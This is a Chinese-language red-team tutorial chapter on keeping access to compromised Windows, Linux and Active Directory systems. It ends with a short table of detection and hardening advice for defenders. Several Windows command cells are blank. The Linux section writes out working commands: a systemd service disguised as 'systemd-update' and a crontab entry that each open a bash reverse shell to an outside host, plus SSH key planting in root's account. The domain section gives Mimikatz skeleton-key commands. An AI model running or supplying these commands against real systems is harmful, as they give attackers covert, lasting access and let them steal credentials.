第九章:权限维持
核心逻辑:权限维持(Persistence)是红队在目标网络中建立长期立足点的关键。本章重点在于利用系统合法机制进行驻留,确保在系统重启、密码更改或漏洞修复后,仍能重新获得访问权限。
9.1 Windows 权限维持
9.1.1 计划任务 (Scheduled Tasks)
原理:利用 Windows Task Scheduler 在特定时间或事件下执行恶意载荷。
优势:稳定、隐蔽、权限高。
类型 | 命令示例 | 特点 |
|---|---|---|
创建任务 |
| 每分钟执行一次,SYSTEM 权限。 |
XML 配置 |
| 使用 XML 文件精细控制触发器(如用户登录)。 |
COM 劫持 | 修改 | 当特定程序调用 COM 组件时触发。 |
9.1.2 服务 (Services)
原理:将恶意程序注册为系统服务。
类型 | 命令示例 | 特点 |
|---|---|---|
创建服务 |
| 开机自启,SYSTEM 权限。 |
修改服务 |
| 劫持合法服务(危险,易导致系统故障)。 |
9.1.3 注册表 (Registry)
原理:利用系统启动项或文件关联执行。
位置 | 说明 | 命令示例 |
|---|---|---|
Run Keys | 用户登录时执行。 |
|
Winlogon Helper | 登录/注销时执行。 |
|
Image File Execution Options (IFEO) | 调试器劫持(如 |
|
9.2 Linux 权限维持
9.2.1 Systemd Services
原理:现代 Linux 发行版的标准初始化系统。
# 1. 创建服务文件 cat > /etc/systemd/system/systemd-update.service << EOF [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=/bin/bash -c "bash -i >& /dev/tcp/1.1.1.1/4444 0>&1" Restart=always RestartSec=60 [Install] WantedBy=multi-user.target EOF # 2. 启用并启动 systemctl daemon-reload systemctl enable systemd-update.service systemctl start systemd-update.service9.2.2 Cron Jobs
原理:定时任务,最经典的维持方式。
位置 | 说明 |
|---|---|
| 系统级定时任务。 |
| Root 用户任务。 |
| 系统重启时执行。 |
# 每5分钟反弹一次 Shell echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/1.1.1.1/4444 0>&1'" >> /etc/crontab9.2.3 SSH 公钥植入
原理:无需密码,直接登录。
# 将公钥写入 authorized_keys mkdir -p /root/.ssh echo "ssh-rsa AAAA... your_key" >> /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys9.3 域环境权限维持
9.3.1 DSRM (Directory Services Restore Mode)
原理:利用域控的还原模式账户(本地 Administrator)进行维持。
操作:
获取 DSRM 密码(通常与域管理员相同)。
修改注册表允许 DSRM 账户远程登录。
使用 DSRM 账户登录域控,即使域管理员密码更改也有效。
9.3.2 Skeleton Key (万能钥匙)
原理:在域控内存中注入一个“万能密码”,允许使用任意用户名 + 万能密码登录。
工具:Mimikatz。
命令:mimikatz # !processprotect /process:lsass.exe /remove->mimikatz # misc::skeleton
9.3.3 AdminSDHolder
原理:修改 AdminSDHolder 容器的 ACL,赋予特定用户域管权限。系统每 60 分钟会自动同步一次,将该权限应用到所有受保护的域管组。
9.4 防御视角(给蓝队)
技术 | 检测方法 | 加固建议 |
|---|---|---|
计划任务 |
| 限制普通用户创建任务;监控 Task Scheduler 日志。 |
服务 |
| 启用服务变更审计;限制非系统服务路径。 |
注册表 | Autoruns (Sysinternals) | 限制注册表编辑权限;启用 Sysmon 监控注册表事件。 |
SSH 公钥 | 定期检查 | 使用 SSH 证书认证,禁用密码登录。 |
域环境 | Event ID 4662:目录服务访问。 | 定期重置 DSRM 密码;监控 LSASS 内存异常。 |